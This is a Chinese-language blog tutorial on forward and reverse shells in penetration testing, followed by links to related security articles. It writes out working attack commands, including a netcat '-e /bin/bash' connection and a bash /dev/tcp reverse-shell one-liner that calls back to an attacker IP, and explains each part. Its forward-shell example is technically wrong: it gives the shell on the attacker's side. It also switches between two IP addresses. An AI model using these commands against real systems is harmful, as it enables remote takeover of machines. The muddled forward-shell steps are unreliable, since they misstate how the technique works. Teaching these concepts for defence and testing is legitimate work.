网络安全之反弹Shell

网络安全之反弹Shell

在网络安全和渗透测试领域,"正向Shell"(Forward Shell)和"反向Shell"(Reverse Shell)是两种常用的技术手段,用于建立远程访问目标计算机的会话。这两种技术都可以让攻击者在成功渗透目标系统后执行命令,但它们在建立连接的方式上有所不同。

正向Shell(Forward Shell)

概念

在正向Shell的场景中,攻击者机器作为客户端,主动连接到受害者机器上事先设置好的监听端口。这种方式通常要求受害者机器在外网上具有可访问的开放端口,或者在内网中能够被攻击者机器直接访问。

这种方法的局限性在于,如果受害者机器位于防火墙后或没有公网IP,攻击者可能无法直接连接到受害者机器的监听端口上。

● 攻击者在受害者机器系统上设置一个在特定端口上监听的服务(比如一个Web服务器)。

● 攻击者从自己的机器上,使用一个客户端工具(如Netcat)主动连接到受害者机器的这个服务上。

一旦建立了连接,攻击者就可以通过这个会话向受害者机器发送命令并接收执行结果。

正向Shell示例

● 攻击者在受害者机器上设置监听,使用Netcat监听某个端口

shell 复制代码
nc -lvnp 9999

参数的含义:

● l 代表监听模式

● v 代表详细输出

● n 代表不解析主机名

● p 指定使用的端口

  • 攻击者机器主动连接受害者机器
shell 复制代码
nc 192.168.0.106 9999 -e /bin/bash

这个命令具体是用来建立一个网络连接,并在连接成功后执行一个指定的程序(在这种情况下是 /bin/bash)。

● nc: 这是 Netcat 的命令行工具调用指令,用于启动 Netcat 程序

● 192.168.0.105: 这是受害者机器的 IP 地址,即 Netcat 尝试连接的远程计算机的地址。这个 IP 地址应该替换为实际想要连接的服务器或计算机的 IP 地址。

● 9999: 这是受害者机器上 Netcat 监听的端口号。在执行这个命令之前,受害者机器上应该有一个 Netcat 进程在此端口上监听进入的连接。

● -e /bin/bash: 这个选项是 Netcat 命令的一个参数,用于指定在建立连接后立即执行的程>序。/bin/bash 是一个 Shell,提供了一个命令行界面,允许用户执行各种命令。

● -e 参数告诉 Netcat,一旦连接建立,就执行指定的程序。这里指定的 /bin/bash 将会启动一个 bash shell。

反向Shell(Reverse Shell)

概念

反向Shell的工作方式与正向Shell相反。在这种场景中,是受害者机器主动连接到攻击者的机器上。攻击者首先在自己的机器上设置一个监听特定端口的服务,然后诱使受害者机器执行一个命令或脚本,使其主动连接回攻击者的监听端口。

● 攻击者在自己的机器上使用Netcat等工具监听一个端口(例如 nc -lvvp 9999)。

● 攻击者诱使受害者机器执行一个反向Shell脚本或命令,该脚本配置目标机器连接回攻击者机器的监听端口(例如使用bash、Python等语言编写的脚本)。

● 一旦受害者机器执行了该脚本,它就会主动连接到攻击者的监听端口,从而允许攻击者通过这个会话执行命令。

反向Shell示例

● 攻击者机器上先开启监听端口

shell 复制代码
nc -lvvp 9999

● 受害者机器上再执行bash命令

shell 复制代码
bash -i >& /dev/tcp/192.168.0.105/9999 0>&1

它的作用是在受害者的机器上执行,以建立一个从受害者机器到攻击者机器的连接,并通过这个连接提供一个交互式Shell会话。如下是详细解释:

● bash -i:启动一个交互式的bash会话。-i参数使bash在交互模式下运行,允许用户输入命令。

● >&:这是重定向操作符,用于将标准输出(STDOUT)重定向到另一个位置。在这个命令中,它被用来将bash会话的输出重定向到网络连接上。

● /dev/tcp/192.168.0.105/9999:这是一个特殊的文件路径,利用bash的内置功能来创建TCP连接。/dev/tcp/<目标IP>/<目标端口>用于建立到指定IP地址和端口的TCP连接。在这个例子中,它尝试连接到IP地址192.168.0.105上的9999端口。

● 0>&1:这是另一个重定向操作符,用于将标准输入(STDIN)重定向到标准输出(STDOUT)。在这个上下文中,它的作用是确保从网络连接收到的输入(例如,攻击者发送的命令)被bash会话读取并执行。

当这条命令在受害者机器上执行时,它会尝试连接到攻击者指定的IP地址192.168.0.105和端口9999上。一旦连接建立,攻击者就可以通过这个连接发送命令,受害者的bash会话将执行这些命令并将输出发送回攻击者,从而允许攻击者远程控制受害者的机器。

反向Shell的优势在于,即使目标机器位于NAT或防火墙后面,只要它能够出站到互联网,就能建立连接。这使得反向Shell成为绕过访问控制,实现远程命令执行的一种非常有效的手段。

相关推荐
大方子2 小时前
【PolarCTF】rce1
网络安全·polarctf
枷锁—sha3 小时前
Burp Suite 抓包全流程与 Xray 联动自动挖洞指南
网络·安全·网络安全
聚铭网络4 小时前
聚铭网络再度入选2026年度扬州市网络和数据安全服务资源池单位
网络安全
darkb1rd6 小时前
八、PHP SAPI与运行环境差异
开发语言·网络安全·php·webshell
世界尽头与你10 小时前
(修复方案)基础目录枚举漏洞
安全·网络安全·渗透测试
枷锁—sha1 天前
【SRC】SQL注入快速判定与应对策略(一)
网络·数据库·sql·安全·网络安全·系统安全
liann1191 天前
3.1_网络——基础
网络·安全·web安全·http·网络安全
ESBK20251 天前
第四届移动互联网、云计算与信息安全国际会议(MICCIS 2026)二轮征稿启动,诚邀全球学者共赴学术盛宴
大数据·网络·物联网·网络安全·云计算·密码学·信息与通信
旺仔Sec1 天前
一文带你看懂免费开源 WAF 天花板!雷池 (SafeLine) 部署与实战全解析
web安全·网络安全·开源·waf
七牛云行业应用1 天前
Moltbook一夜崩盘:150万密钥泄露背后的架构“死穴”与重构实战
网络安全·postgresql·架构·高并发·七牛云